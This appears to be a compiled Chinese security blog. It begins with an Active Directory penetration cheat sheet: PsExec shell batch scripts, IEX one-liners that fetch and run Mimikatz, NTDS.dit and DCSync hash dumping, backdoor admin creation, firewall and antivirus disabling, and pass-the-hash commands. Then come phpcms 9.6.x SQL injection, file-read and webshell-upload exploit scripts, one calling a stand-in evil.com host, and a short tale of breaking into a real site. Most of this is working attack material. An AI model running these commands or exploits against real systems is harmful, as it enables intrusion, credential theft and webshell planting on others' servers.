将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。

域的特点

域成员计算机在登录的时候可以选择登录到域中或此计算机,登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的

默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户信息保存在活动目录中

一些其他关于域的知识

DNS定位域控制器

DNS负责将域名解析成IP地址

内网的DNS则可以定位DC,域会有名称,比如domaintest。域会向DNS注册这个名称,即SRV记录。域中的计算机访问SRV来进而访问DC。

通常DNS和DC会安装在同一计算机上,因而此计算的本地连接DNS要指向自身。

域渗透思路

通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。

域渗透常用命令

信息收集

1
dsquery server #得到域控制器的IP

image886

net group "domain controllers" /domain: 得到域控制器主机名

注意通过该指令得到的机器名后面会多一个$符号

net group "domain admins" /domain : 查询域管理用户

net user /domain查看所有域用户

net config workstation : 查询当前登陆域

net accounts /domain: 查询域密码策略

wmic qfe : 查看补丁信息

wmic os: 查看操作系统类型

ipconfig /all 查询本机IP段,所在域等

tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表

有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击了

批量查找 域管理员登陆过目标计算机

1
2
3
4
5
6
7
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt
:end
exit

批量反弹cmdshell

1
2
3
4
5
6
7
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd
:end
exit

访问内网其他主机

net use建立Ipc$连接、wmic指令连接、采用rdp方式连接 , psexec进行远程连接

image2183

net use \\ip\ipc$ pawword /user:username 建立IPC会话

抓取内存中的hash/密码

抓明文

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCerts

普通hash

抓hash

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

抓取明文:mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

抓取hash:mimikatz log "privilege::debug" "lsadump::lsa /patch" exit

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.org /all /csv" exit

域hash

NTDS.dit获取域控hash

这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。

手动导出NTDS.dit和System-hive,本地或目标机导hash,因为,如果域足够大,该文件也会特别大。

ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

NTDSDumpEx -d ntds.dit -s system -o domain.txt:注意-d 为ntds.dit路径,-s为system(导出的)路径

image3247

1
2
3
python secretsdump.py -system SYSTEM -ntds ntds.dit local
python secretsdump.py rabbitmask:[email protected]

image3460

image3545

添加用户

1
2
3
4
net user ccreater Abc1234 /add
net localgroup administrators ccreater /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

域控提取域用户hash

Ntdsutil

ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了

1
2
3
4
5
Ntdsutil 
snapshot—activate instance ntds
create
mount {guid}
copy 装载点\windows\NTDS\ntds.dit d:\ntds_save.dit

image4044

image4122

最后执行

1
2
3
unmount {guid}
delete {guid}
quit

删除装载点即可,避免被发现

接着上传工具QuarksPwDump到域控制器上,然后执行如下命令,成功提取用户hash

QuarksPwDump --dump-hash-domain --ntds-file d:\ntds_save.dit

mimikatz

mimikatz log "privilege::debug" "lsadump::lsa /patch"

关闭防火墙

1
2
3
4
5
netsh advfirewall set allprofiles state off#关闭防火墙
net stop windefend
netsh firewall set opmode mode=disable
bcdedit.exe /set{current} nx AlwaysOff#关闭DEP
meterpreter > run killav 关闭杀毒软件

票据传递攻击

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要我们拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。

MS14-068/pth

微软给出的补丁是kb3011780,在server 2000以上的域控中,如果没有打这个补丁,那么情况将比较糟糕,利用该漏洞可以将任何一个域用户提权至域管理员权限,危害极大。

msf-psexec

目标:192.168.52.138

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8:::
1
2
3
4
5
6
use exploit/windows/smb/psexec
set lhost xxx
set lport xxx
set rhosts 192.168.52.138
set smbuser Administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8

impacket_smbexec

1
2
3
4
5
6
python smbexec.py -hash aad3b435b51404eeaad3b435b51404ee:[email protected]

or

python smbexec.py -hashes :a45a7246dd74b64a67f22fd7020f1bd8 [email protected]

显然,其实它只需要NThash部分就好啦。

copy 于

http://www.xmrseo.com/?post=87

https://zhengbao.wang/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80/

https://www.freebuf.com/articles/system/217681.html

phpcmsv9.6.0SQL注入

phpcmsv9.6.0SQL注入

利用条件

  1. 开启wap
  2. phpcms 版本小于等于9.6.0

漏洞复现

漏洞信息:

这个版本的 SQL注入 主要在于程序对解密后的数据没有进行过滤. 漏洞文件: phpcms/modules/content/down.php 。在其 init 方法中,从 GET 数据中获取了 a_k 的值 ,解密后直接变量覆盖,导致命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function init() {
$a_k = trim($_GET['a_k']);
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
...
}

$this->db->get_one(array('id'=>$id)); 跟进去

1
2
3
4
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
1
2
3
4
5
6
7
8
9
10
11
final public function sqls($where, $font = ' AND ') {
if (is_array($where)) {
$sql = '';
foreach ($where as $key=>$val) {
$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
}
return $sql;
} else {
return $where;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);

$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}

没有对解密后的id进行任何过滤

接着要找一个能用相同密钥加密的地方,这样便无需暴露auth_key就能执行恶意sql语句

我们利用 set_cookie来生成加密数据

setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);

查找调用set_cookie且值$value可控的位置

phpcms/modules/attachment/attachments.php 文件的 swfupload_json 方法有满足我们需要的代码。(菜鸡直接看别人找到的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}

$arr['src'] = safe_replace(trim($_GET['src']));,跟进safe_replace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

虽然这里单引号被过滤了,但是前面是用parse_str($a_k);来恢复变量的,我们可以利用safe_replace能将某些字符替换为空格用url编码来绕过黑名单

但是在调用swfupload_json 前,它还会调用__construct方法

1
2
3
4
5
6
7
8
9
10
11
12
13
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}

我们需要用sys_auth($_POST['userid_flash'],'DECODE')来生成$this->userid,来绕过死亡exit

这次我们还需要找一个地方来生成userid,但是限制更少了,只要$this->userid不为空即可

我们可以搜到 phpcms/modules/wap/index.php 文件,在该文件中 $_GET['siteid'] 可控,并且可以通过 cookie 获得加密后的数据,虽然有intval来过滤

1
2
3
4
5
6
7
8
9
10
function __construct() {		
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}

于是整个攻击链便完整了

先利用wap来获得userid

http://127.0.0.1/cms/phpcms/9.6.0/index.php?m=wap&siteid=1

2a8a6kid_pv1EoSGXugr-5BZDZWzDhaB7W3EtXou

再利用attachment来获得加密的恶意sql语句

1
2
3
http://127.0.0.1/cms/phpcms/9.6.0/index.php?m=attachment&c=attachments&a=swfupload_json&src=(看poc吧)
post:
userid_flash=2a8a6kid_pv1EoSGXugr-5BZDZWzDhaB7W3EtXou

检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import re
import requests
import random

def poc(url,proxies={}):
sess=requests.session()
sess.get("%s/index.php?m=wap&siteid=1"%url)
sess.proxies=proxies
pre=list(sess.cookies.get_dict())[0][:5]+"_"
userid=sess.cookies.get_dict()[pre+"siteid"]
param={
"m":"attachment",
"c":"attachments",
"a":"swfupload_json",
"src":"=1&id=nobodyasdfsdsf%2;7-(updatexml(1,concat(0x7e,(select%2;0user()),0x7e),1))%23&m=1&modelid=1&catid=1&f=1&ss"
}
sess.post("%s/index.php"%url,params=param,data={"userid_flash":userid})
a_k=sess.cookies.get_dict()[pre+"att_json"]
result=sess.get("%s/index.php?m=content&c=down&a=init&a_k=%s"%(url,a_k)).text
#print(userid,a_k)
if "XPATH syntax error" in result:
return True
return False


#,{"http":"socks5://127.0.0.1:1080"}
print(poc("http://127.0.0.1/cms/phpcms/9.6.0/"))

参考

https://mochazz.github.io/2019/07/18/phpcms漏洞分析合集

phpcmsv9.6.1任意文件读取

phpcmsv9.6.1任意文件读取

漏洞复现

漏洞位置: phpcms/modules/content/down.php 。在该文件的 download 方法中最后一行调用了 file_down 文件下载函数,我们可以看到其第一个参数是要读取的文件路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
parse_str($a_k);
...
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl=str_replace(array("<",">"),"",$fileurl);
file_down($fileurl, $filename);
}
}
}

我们跟进file_down:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function file_down($filepath, $filename = '') {
if(!$filename) $filename = basename($filepath);
if(is_ie()) $filename = rawurlencode($filename);
$filetype = fileext($filename);
$filesize = sprintf("%u", filesize($filepath));
if(ob_get_length() !== false) @ob_end_clean();
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: '.$filetype);
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
readfile($filepath);
exit;
}

可以看到他会直接读取文件然后,exit

我们再看下download中的$fileurl的生成过程:

1
2
3
4
5
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$fileurl=str_replace(array("<",">"),"",$fileurl);

$fileurl$f产生的,其中不能带有php等关键字,但是我们可以利用最后一行的str_replace来绕过,而$fparse_str($a_k)得来的

那么接下来我们要找一处

1
2
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

$pc_auth_key作为密钥的加密点

image3860

显然只有中间的那个可以

1
2
3
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;

$i,$m,$f等都是从parse_str($a_k);获得

1
2
3
4
5
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));

接下来就跟9.6.0版本的sql注入相同了

检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re
import requests
import random
from urllib.parse import quote
def poc(url,proxies={}):
sess=requests.session()
sess.get("%s/index.php?m=wap&siteid=1"%url)
sess.proxies=proxies
pre=list(sess.cookies.get_dict())[0][:5]+"_"
userid=sess.cookies.get_dict()[pre+"siteid"]
param={
"m":"attachment",
"c":"attachments",
"a":"swfupload_json",
"src":"=1&m=aa&i=1&modelid=1&catid=1&f=%s&ss=" % quote("index.p<h<p&d=1")
}
sess.post("%s/index.php"%url,params=param,data={"userid_flash":userid})
#print(sess.cookies.get_dict())
a_k=sess.cookies.get_dict()[pre+"att_json"]
result=sess.get("%s/index.php?m=content&c=down&a=init&a_k=%s"%(url,a_k)).text
#print(userid,a_k)
a_k=re.search('''a_k=([^"]*)''',result).groups()[0]
#print(result)
#print(a_k)
res=sess.get("%s/index.php?m=content&c=down&a=download&a_k=%s"%(url,a_k))
if res.status_code==200 and "pc_base::creat_app();" in res.text:
return True
else :
return False



#,{"http":"socks5://127.0.0.1:1080"}
print(poc("http://127.0.0.1/cms/phpcms/9.6.1/"))

参考

https://mochazz.github.io/2019/07/18/phpcms漏洞分析合集/

phpcms960任意文件上传复现

phpcmsv9.6.0任意文件上传

利用条件

phpcms v9.6.0

开启用户注册功能

漏洞复现

根据网络上提供的poc进行漏洞复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re
import requests


def poc(url):
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': 'test',
'password': 'testxx',
'email': '[email protected]',
'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
'dosubmit': '1',
}
rep = requests.post(u, data=data)

shell = ''
re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content)
if len(re_result):
shell = re_result[0]
print shell

漏洞的关键位置

phpcms/modules/member/index.php:135

1
2
3
4
5
6
7
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}

$_POST['info']new_html_special_chars处理后,直接作为参数传入$member_input->get

跟进去发现

1
2
3
4
5
6
7
8
9
10
11
if(is_array($data)) {
foreach($data as $field=>$value) {
...
$field = safe_replace($field);
...
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}

$this->$func($field, $value);令人浮想联翩的命令,而$func = $this->fields[$field]['formtype'];,其中$field是我们可控的输入new_html_special_chars($_POST['info']) as $field=>$value

$this->fields[$field]['formtype'];有以下取值,我们可以控制其执行某一函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$this->fields['catid']['formtype']="catid"
$this->fields['typeid']['formtype']="typeid"
$this->fields['title']['formtype']="title"
$this->fields['keywords']['formtype']="keyword"
$this->fields['copyfrom']['formtype']="copyfrom"
$this->fields['description']['formtype']="textarea"
$this->fields['updatetime']['formtype']="datetime"
$this->fields['content']['formtype']="editor"
$this->fields['thumb']['formtype']="image"
$this->fields['relation']['formtype']="omnipotent"
$this->fields['pages']['formtype']="pages"
$this->fields['inputtime']['formtype']="datetime"
$this->fields['posids']['formtype']="posid"
$this->fields['groupids_view']['formtype']="groupid"
$this->fields['voteid']['formtype']="omnipotent"
$this->fields['islink']['formtype']="islink"
$this->fields['url']['formtype']="text"
$this->fields['listorder']['formtype']="number"
$this->fields['template']['formtype']="template"
$this->fields['allow_comment']['formtype']="box"
$this->fields['status']['formtype']="box"
$this->fields['readpoint']['formtype']="readpoint"
$this->fields['username']['formtype']="text"

一个一个查看最后发现:

1
2
3
4
5
6
7
8
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}

editor会调用download方法,其中$field$value都是可控的

跟进download:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

download$upload_func($file, $newfile)来下载文件到服务器,而$upload_func="copy"

我们分析一下download函数,$file$newfile经过的处理

$file$remotefileurls中的值

1
2
3
4
5
6
7
8
9
$string = new_stripslashes($value);//反转义
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, '', '');
}

跟进$this->fillurl,大概功能是,去掉url#后面的东西

1
2
3
4
5
6
function fillurl($surl, $absurl, $basehref = '') {
...
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
...
}

构造$value='src=http://evil.com/evil.php#.jpg'

我们再看下$newfile

1
2
3
4
5
$dir = date('Y/md/');
$uploaddir = $this->upload_root.$dir;
$filename = fileext($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;

$this->getname:

1
2
3
function getname($fileext){
return date('Ymdhis').rand(100, 999).'.'.$fileext;
}

webshell的地址为: http://website/uploadfile/date('Y/md/')/date('Ymdhis').rand(100, 999).php

最后payload为:

1
2
3
/index.php?m=member&c=index&a=register&siteid=1
post:
info[content]=<img src="http://evil.com/evil.php">

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re
import requests
import random

def exp(url,evilurl="http://xxxxxxx/evil.php"):
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': 'test%d'%random.randint(1,999999),
'password': 'testxx',
'email': 'test%[email protected]'%random.randint(1,999999),
'info[content]': 'src=%s#.jpg'%evilurl,
'dosubmit': '1',
}
rep = requests.post(u, data=data)
result=re.search(r"VALUES \('src=(.*)','\d*'\)",rep.text).groups()
print(rep.text)
print(result)


exp("http://127.0.0.1/cms/phpcms/9.6.0")

记一次漏洞挖掘

无标题

某个月黑风高的晚上,我突然想起了我的复古游戏机还差一点库币,于是决定去挖个洞 …….

经过一番惨绝人寰,欲罢不能的信息收集后,我开始了fuzz,然后 ip被ban:(

主要的信息为:

1
2
3
dedecms 5.7sp1 20150618
ZOHO ManageEngine OpManager
adminer 4.6.3

爆破密码,fuzz文件啥的都干过,dedecms的后台也没爆出来,但是发现他们服务器配置错误,可以浏览目录

把该版本的dedecms之后的更新对比了以下,没发现有啥洞,此时就陷入了僵局

但是,我随手点了一个en的超链接,就发现了一个新的域名!!!!

然后这个域名下的服务,也是dedecms,而后台就是/dede

利用前面发现的目录浏览,我成功拿到了admin的session,直接进入后台getshell

一些网站的英文站点可能就是我们的突破口

资产收集真的太重要了,要不是这次运气好,我还不知道啥时候能日掉